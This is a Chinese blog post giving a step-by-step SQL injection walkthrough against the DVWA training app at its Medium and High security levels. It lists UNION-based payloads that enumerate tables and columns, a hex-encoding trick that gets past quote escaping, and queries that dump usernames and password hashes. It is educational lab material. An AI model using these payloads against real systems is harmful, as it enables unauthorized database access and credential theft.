DVWA平台sql注入

Medium:

 

 

 

 

 

Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,同时前端使用了下拉选择菜单,可以通过抓包改参数,提交恶意构造的查询参数。

1.判断注入是字符型还是数字型

抓包更改参数id为1’ or 1=1 #

 

报错:

 

抓包更改参数id为1 or 1=1 #,查询成功:

 

说明存在数字型注入。

2.猜解SQL查询语句中的字段数

抓包更改参数id为1 order by 2 #,查询成功:

 

抓包更改参数id为1 order by 3 #,报错

 

说明执行的SQL查询语句中只有两个字段

3.确定显示的字段顺序

抓包更改参数id为1 union select 1,2 #,查询成功, 说明执行的SQL语句为select First name,Surname from 表 where ID=id…

 

4.获取当前数据库

抓包更改参数id为1 union select 1,database() #

 

说明当前的数据库为dvwa。

5.获取数据库中的表

抓包更改参数id为1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

 

说明数据库dvwa中一共有两个表,guestbook与users。

6.获取表中的字段名

抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#,查询失败,因为单引号被转义了,变成了\’。

 

可以利用16进制进行绕过,抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查询成功:

 

说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

7.下载数据

抓包修改参数id为1 union select user,password from users#

 

 

High:

 

High级别的只是在SQL查询语句中添加了LIMIT 1, 希望以此控制只输出一个结果, 但是我们可以通过#将其注释掉。注入的过程与Low级别基本一样。

 

1.猜解SQL查询语句中的字段数

1' order by 2#

 

1' order by 3#

 

从上面两个图可以说明,SQL语句查询的表的字段数是2

 

2.确定SQL语句查询之后的回显位置

1' union select 1,2# 可以看出有2个回显

 

3.查询当前的数据库,以及版本

1' union select version(),database()#

 

4.获取数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

 

5.获取表中的字段名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

 

6.获得字段中的数据

1' union select user,password from users#

 

 

posted @ 2019-10-30 20:25  balalal  阅读(363)  评论(0编辑  收藏  举报